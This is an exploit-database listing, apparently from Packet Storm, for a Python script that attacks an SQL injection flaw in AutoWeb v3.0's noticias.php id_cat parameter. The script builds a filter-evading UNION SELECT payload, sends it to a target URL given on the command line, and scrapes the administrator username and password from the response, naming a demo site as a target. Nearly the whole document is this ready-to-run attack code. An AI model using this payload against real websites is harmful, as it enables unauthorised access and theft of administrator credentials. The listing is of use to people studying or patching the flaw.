AutoWeb 3.0 SQL Injection

2014-10-05T00:00:00
ID PACKETSTORM:128566
Type packetstorm
Reporter ZoRLu
Modified 2014-10-05T00:00:00

Description

                                        
                                            `#!/usr/bin/env python  
#-*- coding:utf-8 -*-  
  
# Title : AutoWeb v3.0 (noticias.php id_cat) SQL Injection Exploit  
# Author : ZoRLu / zorlu@milw00rm.com / submit@milw00rm.com  
# Home : http://milw00rm.com / its online  
# Download : http://www.multdivision.com.br  
# Demo : http://www.cbnmogi.com.br  
# Other Vuln. : http://www.1337day.com/exploit/22697 / thks: Felipe Andrian Peixoto  
# date : 28/09/2014  
# Python : V 2.7  
# Thks : exploit-db.com, packetstormsecurity.com, securityfocus.com, sebug.net and others  
  
import sys, urllib2, re, os, time  
  
if len(sys.argv) < 2:  
os.system(['clear','cls'][1])  
print " ____________________________________________________________________"  
print "| |"  
print "| AutoWeb v3.0 (noticias.php id_cat) SQL Injection Exploit |"  
print "| ZoRLu / milw00rm.com |"  
print "| exploit.py http://site.com/path/ |"  
print "|____________________________________________________________________|"  
sys.exit(1)  
  
koybasina = "http://"  
koykicina = "/"  
sitemiz = sys.argv[1]  
  
if sitemiz[-1:] != koykicina:  
sitemiz += koykicina  
  
if sitemiz[:7] != koybasina:  
sitemiz = koybasina + sitemiz  
  
vulnfile = "noticias.php"  
sql = "?id_cat=0x90+/*!12345union*/+/*!12345select*/+1,concat(0x3a3a3a,username,0x3a3a3a),concat(0x3b3b3b,senha,0x3b3b3b),4,5,6,7,8,9,10+/*!12345from*/+/*!12345user*/--"  
url = sitemiz + vulnfile + sql  
  
print "\nExploiting...\n"  
  
try:  
veri = urllib2.urlopen(url).read()  
aliver = re.findall(r":::(.*)([0-9a-fA-F])(.*):::", veri)  
if len(aliver) > 0:  
print "username: " + aliver[0][0] + aliver[0][1] +aliver[0][2]  
else:  
print "Exploit failed..."  
  
  
except urllib2.HTTPError:  
print "Security!"  
  
  
try:  
veri = urllib2.urlopen(url).read()  
aliver = re.findall(r";;;(.*)([0-9a-fA-F])(.*);;;", veri)  
if len(aliver) > 0:  
print "password: " + aliver[0][0] + aliver[0][1] +aliver[0][2]  
  
print "\nGood Job Bro!"  
else:  
print "Exploit failed..."  
  
  
except urllib2.HTTPError:  
print "Security!"  
`